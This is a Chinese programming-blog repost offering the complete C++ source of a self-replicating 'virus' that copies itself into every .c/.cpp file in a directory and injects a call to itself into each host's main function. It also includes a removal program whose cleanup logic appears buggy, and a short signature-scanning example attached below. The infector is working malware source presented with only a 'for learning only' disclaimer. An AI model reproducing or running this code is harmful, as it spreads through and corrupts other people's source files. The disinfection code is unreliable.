超强c/c++病毒程序,中毒+杀毒

转载一个病毒代码

​
//START
#include <windows.h>
#include <fstream>
#include <string>
#include <iostream>
using namespace std;
//此程序仅供病毒原理学习之用
//请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负 
void vir(){ 
	string CurFileName = __FILE__;//绝对路径
	string obCurFileName          //相对路径
   = CurFileName.substr(CurFileName.find_last_of('//') + 1,CurFileName.size()-1);      
	WIN32_FIND_DATA FindFileData;
	HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
	string VirusCode[100];//病毒代码 
	string FileCode[500]; //宿主代码
	int CodeLen = 0;//病毒代码长度
	int FileLen = 0;//宿主代码长度 

	//病毒函数调用应当插在"main("后面的第一个"{"后面 
	//在C++中main有int main(),int main(int arg,char **r)等形式 
	int InsertLoc = 0; 

	//提取待传播的当前文件中的病毒代码 
	ifstream VirusFile(obCurFileName.c_str()); 
	for (CodeLen = 0;getline(VirusFile,VirusCode[CodeLen]);CodeLen++)
	{
		if(VirusCode[CodeLen] == "//END")
		{
    		CodeLen++;
    		break;
   		}
	}
	VirusFile.close();
	//依次感染宿主文件 
	while (true) 
	{
   		//不能感染当前.cpp文件和已感染的文件 
   		if(strcmp(FindFileData.cFileName,obCurFileName.c_str())== 0)
   		{
    		cout<<FindFileData.cFileName<<":是感染源!/n";
   		}
   		else//感染其它文件 
   		{
    		//加载宿主文件 
    		ifstream ibe(FindFileData.cFileName);
    		for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
    		{
     			if (FileCode[FileLen].find("main") != -1)
     			{
      				InsertLoc = FileLen;
     			}
    		}
    		ibe.close();
    		if(FileCode[0] == "//START")//该文件已被感染 
    		{
     			cout<<FindFileData.cFileName<<":已携带了病毒!/n";
    		}
    		else if (FileLen > 500)
    		{
     			cout<<FindFileData.cFileName<<":文件太大了!/n";
    		}
    		else
    		{
     			//打开宿主文件
     			ofstream be(FindFileData.cFileName);
     			//插入病毒代码 
     			for(int i = 0;i < CodeLen;i++)
     			{
      				be<<VirusCode[i]<<endl;
     			}		
     			//病毒函数调用位置前文本插入 
     			for(int i = 0;i < InsertLoc;i++)
     			{
      				be<<FileCode[i]<<endl;
     			}
    			 //插入函数调用vir() 
    			 for(int i = InsertLoc;i < FileLen;i++)
     			{
      				int j = FileCode[i].find('{');
      				if(j != -1)
      				{
       					FileCode[i].insert(j + 1,"/nvir();"); 
       					break;
      				}
     			}
     			//病毒函数调用位置后插入剩余文本 
     			for(int i = InsertLoc;i < FileLen;i++)
     			{
      				be<<FileCode[i]<<endl;
     			}
     			be.close();
     			cout<<FindFileData.cFileName<<":感染成功!/n";
    		}
   		}
   		if (FindNextFile(hFind, &FindFileData) == false) break;
		}
	}
	//END
	int main()
	{
		vir();
	return 0;
}

​
#include <windows.h>
#include <fstream>
#include <string>
#include <vector>
#include <iostream>
using namespace std;
//此程序仅供病毒原理学习之用
//请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负 
void revir()
{ 
	WIN32_FIND_DATA FindFileData;
	HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
	string FileCode[500];
	//病毒函数调用应当插在"main"后面的第一个"{"后面 
	//在C++中main有int main(),int main(int arg,char **r)等形式
	//依次清除宿主文件 
	while (true) 
	{ 
   		//加载文件
   		int FileLen = 0; //宿主代码长度
   		int MainLoc = 0; //主函数位置 
   		ifstream ibe(FindFileData.cFileName);
   		getline(ibe,FileCode[0]);
   		if(FileCode[0] == "//START")//当前文件被感染过 
   		{
    		//病毒代码要过虑掉 
    		for(FileLen = 0;getline(ibe,FileCode[0]);)
    		{
     			if(FileCode[FileLen] == "//END")
     			{
      				break;
     			}
    		}
    		//宿主未感染前的代码
    		for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
    		{
     			if(FileCode[FileLen].find("main") != -1)
     			{
      				MainLoc = FileLen;
     			}			
    		}
   			//清除主文件中的函数调用
    		for (int i = MainLoc;i < FileLen;i++) 
    		{
     			if(FileCode[i].find('{') != -1)
     			{
      				FileCode[i + 1] = "";
      				break;
     			}
    		}
    		ibe.close();
   			ofstream be(FindFileData.cFileName);
    		for(int i = 0;i < FileLen;i++)
    		{
     			be<<FileCode[i]<<endl;
    		}
    		be.close();
    		cout<<FindFileData.cFileName<<":病毒清除成功/n";
   		}
   		cout<<FindFileData.cFileName<<":没有被感染!/n";
   		if (FindNextFile(hFind, &FindFileData) == false) break;
	}
}
int main()
{
	revir();
	return 0;
}

  • 8
    点赞
  • 39
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
好的,针对您的问题,我可以给您提供一个基于C语言实现的简单病毒检测代码。 首先,我们需要一些关于病毒检测的基础知识。病毒检测主要是检查系统中的文件是否含有病毒代码,这些病毒代码可以通过特定的模式来匹配。 我们可以通过一个简单的例子来说明病毒检测的原理,以及如何使用C语言实现。以下是一个基于病毒特征码的简单病毒检测代码: ```c #include <stdio.h> #include <string.h> #define MAX_VIRUS_SIZE 1024 char virus[MAX_VIRUS_SIZE] = { // 病毒特征码 // 这里只是举个例子,实际上病毒特征码可能非常复杂 0x68, 0x65, 0x6C, 0x6C, 0x6F, 0x20, 0x77, 0x6F, 0x72, 0x6C, 0x64 }; int virus_size = sizeof(virus); int scan_file(char *filename) { FILE *fp; char buffer[MAX_VIRUS_SIZE]; int read_size; fp = fopen(filename, "r"); if (fp == NULL) { return 0; } while ((read_size = fread(buffer, 1, MAX_VIRUS_SIZE, fp)) > 0) { // 查找病毒特征码 if (memmem(buffer, read_size, virus, virus_size) != NULL) { printf("Found virus in file: %s\n", filename); fclose(fp); return 1; } } fclose(fp); return 0; } int main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s filename\n", argv[0]); return 1; } if (scan_file(argv[1])) { printf("Virus found\n"); } else { printf("File is safe\n"); } return 0; } ``` 以上代码中,我们定义了一个病毒特征码,并且在检测文件的时候查找这个特征码。如果在文件中找到了这个特征码,就表明该文件含有病毒代码。 需要注意的是,这只是一个简单的病毒检测例子,实际上对于更复杂的病毒来说,病毒特征码可能非常复杂,原理和实现方法也可能会有所不同。 希望以上代码和解释可以对您有所帮助。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值